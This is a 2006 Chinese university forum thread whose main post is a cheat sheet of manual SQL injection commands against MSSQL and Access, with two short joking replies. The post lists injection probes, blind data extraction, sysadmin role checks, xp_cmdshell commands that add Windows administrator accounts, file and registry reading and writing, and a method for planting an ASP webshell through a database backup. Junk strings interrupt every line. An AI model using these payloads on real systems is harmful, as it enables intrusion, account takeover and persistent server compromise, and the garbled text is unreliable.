社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4027阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 i?*&1i@  
  2.初步判断是否是mssql ;and user>0 F(SeD)ml  
j-yD;N  
  3.注入参数是字符'and [查询条件] and ''=' MZL~IX  
/[{?zS{  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' Td8'z'  
t(}&<<1Bz  
  5.判断数据库系统 wiwJD}3h'  
nC>#@*+jK  
  ;and (select count(*) from sysobjects)>0 mssql ;O5NZa!.73  
j7"E0Wc^o_  
  ;and (select count(*) from msysobjects)>0 access 9(u2jbA  
TD\QX2m  
E*RP8  
hkW"D<i i-  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 T 0^U ]C  
U0)(k}Q)  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Qy4AuMU2  
Z/Mp=273  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Za=<euc7  
:Z1_;`>CT  
  9.(1)猜字段的ascii值(access) yd>kJk^~/  
Z\dILt:#z  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 XUMCz7&j  
Or6'5e?N  
  (2)猜字段的ascii值(mssql) ts9N$?0:V  
'OF)`5sj  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 CGv(dE,G&]  
p4aM`PW8>=  
  10.测试权限结构(mssql) v SWqOv$  
D:.^]o[  
+8 6\&y)  
~Bu~?ZJmd  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0} P&G^%"  
s'/.ea V_  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- S:^Q(w7  
4I,@aj46  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }m0Lr:vq<r  
M5P63=1+  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- FIG5]u  
w(mn@Qc  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- FK mFjqY  
@?gH3Y_  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- k^ZUOWmU|  
b[BSUdCB  
  ;and 1=(select IS_MEMBER('db_owner'));-- G%'h'AV"  
]=]'*Z%  
$dwv1@M2  
%iJ6;V 4  
  11.添加mssql和系统的帐户 r-[z!S  
(<8T*Xo  
  ;exec master.dbo.sp_addlogin username;-- )FU4iN)ei  
  ;exec master.dbo.sp_password null,username,password;-- R@"N{ [9  
]~a!O  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- HjV^6oP  
NWoZDsu  
  ;exec master.dbo.xp_cmdshell 'net user username password EDnmYaa)dZ  
!)LR41>?  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- WpmypkJA#  
"rAm6b-`  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- .X:{s,@  
[Q^kO;  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- w)!(@}vd  
\&e+f#!u  
HkrNh>^=  
c/g(=F__[  
  12.(1)遍历目录 y`(z_5ClT  
B]]M?pS  
  ;create table dirs(paths varchar(100), id int) 6j` waK  
MJ92S(  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 4@8i,q>  
`w~ 9/sty  
  ;and (select top 1 paths from dirs)>0 -3w? y  
AY! zXJ_$  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) nS4~1a  
} 8r+&e  
TFM}P  
"KFCA9u-  
  (2)遍历目录 <@zOdW|{:  
Gjv'$O2_  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- \Dt0 } ?;k  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 *b.>pY?2|  
,eZ'pxt  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6qH o$#iT  
9k83wACry  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 # ^%'*/z  
R;;)7|;~  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 +;*])N%q  
8PQ$X2)  
$@K+yOq+u  
Y-,#3%bT;;  
  13.mssql中的存储过程 f$H"|Mb e  
lezdJ  
  xp_regenumvalues 注册表根键, 子键 F.@yNr"  
y ruN5  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 'z!I#Y!Y  
BJ&>'rc  
  xp_regread 根键,子键,键值名 x "N,oDs  
wI`uAZ="  
  ;exec xp_regread { ! FrI@  
_ H@pYMNH  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 H M76%9!  
jMw;`yh  
  xp_regwrite 根键,子键, 值名, 值类型, 值 3$y]#L  
Z#o o8  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~u3I=b  
. t~I[J\<  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 f'#7i@Je  
O %)+ w  
  xp_regdeletevalue 根键,子键,值名 F*]AjD-  
1p{\jCi, 2  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ^&cI+xZ2Y  
<:%Iq13D  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 *1elUI2Rg  
Duz}e80  
>iG`  
xy|;WB  
  14.mssql的backup创建webshell 63k8j[$  
IAtc^'l#  
  use model C6/,-?%)  
x^C,xP[#Y;  
  create table cmd(str image); ^ qE4:|e  
)@Bt[mfrVD  
  insert into cmd(str) values (''); j.m-6  
sA` bPhk  
  backup database model to disk='c:\l.asp'; N>gv!z[E  
Ii4 Byyfx  
; 4S#6#  
;JAe=wt^'I  
  15.mssql内置函数 F oEZ1O<  
Qp-nr]  
  ;and (select @@version)>0 获得Windows的版本号 ~ xXB !K~C  
>j$f$*x  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa s2d;601*b  
9@:&E  
  ;and (select user_name())>0 爆当前系统的连接用户 uQ&xoDCB  
4q~l ?*S  
  ;and (select db_name())>0 得到当前连接的数据库 .JH3,L"S^  
!>2s5^JI9  
-R:1-0I$  
 [bv.`  
  16.简洁的webshell xeu] X|,  
KK7Y"~ 9&-  
  use model 3[8'pQ!&  
~(yh0V  
  create table cmd(str image); @YT=-  
%VwB ?  
  insert into cmd(str) values (''); 6}|/~n  
r3iNfY b  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八